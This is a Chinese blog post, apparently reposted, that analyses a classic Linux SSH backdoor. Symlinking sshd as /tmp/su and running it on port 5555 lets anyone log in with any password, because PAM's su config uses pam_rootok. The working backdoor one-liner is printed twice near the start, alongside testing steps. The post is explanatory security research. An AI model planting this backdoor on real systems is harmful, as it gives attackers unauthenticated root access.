linux不用命令开启ssh,不用密码也能ssh登陆Linux?

Linux的一个后门引发对PAM的探究

1.1 起因

今天在搜索关于Linux下的后门姿势时,发现一条命令如下:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

经典后门。直接对sshd建立软连接,之后用任意密码登录即可。

ssh root@x.x.x.x -p 5555这个是大家也经常会用到的命令,但是在好奇心的驱使下,为什么任意密码就可以了?

于是搜索了相关的资料,发现都是执行了这条命令就可以免密码登录了,但是为什么却没有一篇详细的解答。

1.2调查

首先测试一下这个命令:在A的机器上执行了如下命令:

f604f8d1b3c05c9a4792fa4fe4287fed.png

在A的机器上执行了如下命令:

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

在B机器SSH登录A机器,输入任意密码,成功登录。先理解这条命令主要在做什么:

首先,做一个软链接,结果在/tmp/su  参数的意义: -o option  -p port

这样就开启了一个端口为5555的服务:

00d9a46de2a6bbeb9bd7211d8be01808.png

测试过程中发现,只允许命名为su,命名其他尝试登录都不成功(/tmp/xxx)。

98b1d8da9bde6ceb11b905f598e4472b.png

于是看了一下sshd相关的log,发现如下:

761a5a05d5b6202f78e8de5b4a7e0f23.png

发现是基于pam认证的,使用了pam中的su,为了区分是否和/bin/中的su是否相关,做了测试如下:

7456f106d30370cba50d645aafed13c1.png

把/bin/su 重新命名为其他文件,发现依然能够任意密码登录,又做了测试如下:

cp /etc/pam.d/su /etc/pam.d/xxx

f8e7b672ad2836fcb135925467646516.png

在此执行:

ln -sf /usr/sbin/sshd /tmp/xxx; /tmp/xxx -oPort=5555;

0af0209cdadd2fea63aab95194046a89.png

成功登录,根据日志和实践现在确认调用的是/etc/pam.d/su

1.3疑问

现在确认了是pam中的su导致的,为什么就不需要密码就可以登录?

简单的diff了一下pam中的sshd和su的区别:

66b22513e418315a1199ca9c1eec3201.png

这里需要了解一下PAM中的控制标记:

07db4db4b7b23fb020641d7bc644523c.png

sshd的pam认证使用了required和include,su使用了sufficient,在此就可以看出二者的区别了。

我们发现su的认证使用了pam_rootok.so,他是如何验证的,为什么导致我们输入任何密码就通过。

于是查了下pam_rootok.so的相关信息:

875c7e46d33208e94f2f73bf6055b4e1.png

他的认证模块是认证你的UID是否为0,他会return pam的结果。

再去看一下pam_rootok.so的源码,发现:

b51554d4bae643fba724bd00c3345273.png

他先会调用getuid(),如果get的uid为0,他会检查selinux的root是否为0或是否启用selinux下为0,返回认证成功,否则认证失败。

那么getuid()是从哪里来的,查一下官网:

ac604c2582351261e60a41ad747ba1dc.png

是根据进程来取得的,根据pam_rootok的文档,我们也可以对su进行调试:

5fedcebd24d4296ed3162278e9a35def.png

pam_rootok.so返回成功,依次向下执行so,都会成功,建立会话。

查看log:

17dd590b4b7b0f0c2d41df1a0e091f76.png

第一条:

pam_rootok(su:auth): authentication succeeded

1.4 真相

至此也终于清楚了为什么就可以输入任意密码进行登录。

我们重新捋一捋:

62a36dcd9212cece9d6a757ac8ffa953.png

1.5 彩蛋

实际的真相就是在pam中的pam_rootok模块,pam_rootok通过了认证还会一次向下执行,但是下面的都会依赖于pam_rootok的认证,auth =>account =>session:

527a401c34310d8cde321a264e27ad8a.png

通过查找其实不单单是su存在pam_rootok,只要满足了上述的三个条件都可以进行”任意密码登录”。

1.6 参考资料

https://linux.die.net/man/8/pam_rootok

https://fossies.org/dox/Linux-PAM-1.3.0/pam__rootok_8c_source.html

https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c.html

https://fossies.org/dox/Linux-PAM-1.3.0/pam__succeed__if_8c_source.html

http://man7.org/linux/man-pages/man2/getuid.2.html

http://www.tuxradar.com/content/how-pam-works

http://www.centoscn.com/CentOS/help/2014/0504/2899.html

转载自http://www.91ri.org/16803.html

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值